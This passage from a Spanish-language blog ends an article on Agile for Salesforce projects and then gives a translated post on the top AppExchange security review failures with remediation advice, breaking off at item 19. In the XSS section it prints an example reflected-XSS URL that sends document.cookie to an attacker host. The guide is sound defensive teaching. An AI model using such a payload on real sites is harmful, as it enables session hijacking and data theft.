  • Reuniones diarias: estas breves reuniones permiten al equipo analizar el progreso, abordar los obstáculos y garantizar que la implementación de Salesforce siga por buen camino.
  • Revisiones de Sprint: después de cada sprint, es esencial revisar el trabajo realizado, recopilar comentarios y garantizar que las funcionalidades implementadas de Salesforce se alineen con las necesidades comerciales.

Ceremonias de adaptación a los desafíos relacionados con Agile en Salesforce

Cada plataforma tiene desafíos únicos y Salesforce no es una excepción. Las ceremonias ágiles pueden necesitar ligeras adaptaciones. Puede estar relacionado con personalizaciones específicas de Salesforce, integraciones con aplicaciones no nativas o la gestión de los ciclos de lanzamiento regulares de Salesforce.

Por ejemplo, la duración de los sprints puede variar según los ciclos de lanzamiento de Salesforce, o las retrospectivas pueden incluir discusiones sobre herramientas y mejores prácticas específicas de Salesforce.

Mejores prácticas para introducir Agile en Salesforce

Fusionar el mundo de las metodologías ágiles con las implementaciones de Salesforce puede desbloquear eficiencias y resultados incomparables. Sin embargo, se deben arraigar ciertas mejores prácticas para aprovechar plenamente el potencial de esta sinergia.

Estas son algunas de las mejores prácticas que puede probar:

Capacitación y mejora de equipos en prácticas ágiles

Antes de sumergirse en las aguas de Agile, es imprescindible que el equipo esté bien equipado para nadar. Esto significa invertir en sesiones de capacitación integrales que presenten a los miembros del equipo los principios básicos de Agile.

Ya sea que se trate de comprender la importancia de los sprints, el papel de un Scrum Master o los matices de las retrospectivas, un equipo bien capacitado puede afrontar fácilmente los desafíos de las implementaciones de Salesforce. Además, las sesiones periódicas de mejora de habilidades pueden garantizar que el equipo se mantenga actualizado con las últimas metodologías ágiles y aplicaciones ágiles para Salesforce.

Garantizar canales de comunicación claros entre los expertos de Salesforce y los profesionales ágiles

La comunicación clara es el puente que conecta los mundos Agile y Salesforce. Con su profundo conocimiento de la plataforma, los expertos de Salesforce deben dialogar constantemente con profesionales ágiles que aportan experiencia en metodología.

Esto garantiza que los procesos ágiles se adapten a las demandas únicas de Salesforce. Las reuniones periódicas, las sesiones frecuentes de retroalimentación y los canales de comunicación abiertos pueden evitar desajustes y garantizar que el proyecto siga encaminado.

Revisar y adaptar periódicamente el proceso ágil para adaptarlo al entorno de Salesforce

A medida que avanzan los proyectos de Salesforce, es fundamental revisar y perfeccionar los procesos ágiles continuamente. Esto podría significar ajustar la duración de los sprints para alinearse con los ciclos de lanzamiento de Salesforce, incorporar herramientas específicas de Salesforce en el conjunto de herramientas Agile o incluso ajustar la estructura del equipo para adaptarse mejor a las demandas del proyecto.

Las retrospectivas periódicas pueden ofrecer información sobre áreas de mejora, garantizando que el proceso Agile permanezca optimizado para el entorno de Salesforce.

Posibles desafíos de Agile en Salesforce y Soluciones

Combinar metodologías ágiles con implementaciones de Salesforce, si bien es prometedor, es un desafío. Sin embargo, estos desafíos pueden abordarse eficazmente con previsión y planificación estratégica.

Éstos son algunos de los posibles obstáculos y cómo superarlos:

Resistencia al cambio de las metodologías tradicionales

  • Desafío: Los equipos acostumbrados a las metodologías tradicionales de gestión de proyectos pueden encontrar desalentador el cambio a Agile. El miedo a lo desconocido y la comodidad de los procesos familiares pueden generar resistencia.
  • Solución: La gestión del cambio es clave. Comience con sesiones de concientización que destaquen los beneficios de Agile, especialmente en el contexto de las implementaciones de Salesforce. Los talleres prácticos, las historias de éxito y los proyectos piloto pueden ayudar a los equipos a realizar una transición sin problemas. Tener defensores del cambio dentro del equipo puede generar un sentimiento positivo y fomentar la adopción.

Alinear sprints ágiles con los ciclos de lanzamiento de Salesforce

  • Desafío: los ciclos de lanzamiento de Salesforce a veces pueden alinearse con los sprints ágiles. Esto puede provocar problemas de sincronización, donde es posible que se publiquen nuevas funciones de Salesforce a mitad del sprint.
  • Solución: La planificación estratégica es esencial. Los equipos deben conocer el calendario de lanzamientos de Salesforce y planificar sus sprints en consecuencia. Si se anticipa un lanzamiento de Salesforce durante un sprint, se deben tomar medidas para acomodarlo. Esto podría significar sprints más cortos o alinear sprints específicos en torno a versiones de Salesforce para explorar e integrar nuevas funciones.

Garantizar la calidad en los ciclos rápidos de desarrollo

  • Desafío: La naturaleza iterativa de Agile significa ciclos de desarrollo rápidos. Si bien esto garantiza una entrega más rápida, a veces puede comprometer la calidad, especialmente cuando se intenta aprovechar las amplias capacidades de Salesforce.
  • Solución: el control de calidad debe integrarse en cada sprint. Las herramientas de prueba automatizadas, la integración continua y las revisiones periódicas del código pueden garantizar que la calidad no se vea comprometida. Además, dedicar sprints específicos o partes de sprints a controles de calidad, especialmente después de importantes personalizaciones de Salesforce, puede garantizar un producto final sólido.

Pensamientos finales

La fusión de metodologías ágiles con la entrega de proyectos de Salesforce presagia una nueva era en las implementaciones de CRM. Esta sinergia promete tanto eficiencia como un nivel de adaptabilidad y capacidad de respuesta del que a menudo carecen las metodologías tradicionales.

Vemos un testimonio de este potencial transformador cuando reflexionamos sobre herramientas como Inspire Planner.

  • Encapsula la esencia de Agile dentro del ecosistema de Salesforce.
  • Garantiza que los proyectos se completen y realmente resuenen con los objetivos comerciales.

Adoptar Agile para las implementaciones de Salesforce no es solo una recomendación sino un imperativo estratégico. A medida que la industria continúa evolucionando, la capacidad de adaptarse e iterar rápidamente definirá el éxito.

Al integrar Agile en los proyectos de Salesforce, las organizaciones pueden asegurarse de seguir el ritmo de esta evolución y mejorar la colaboración. El futuro llama y es ágil.

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Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
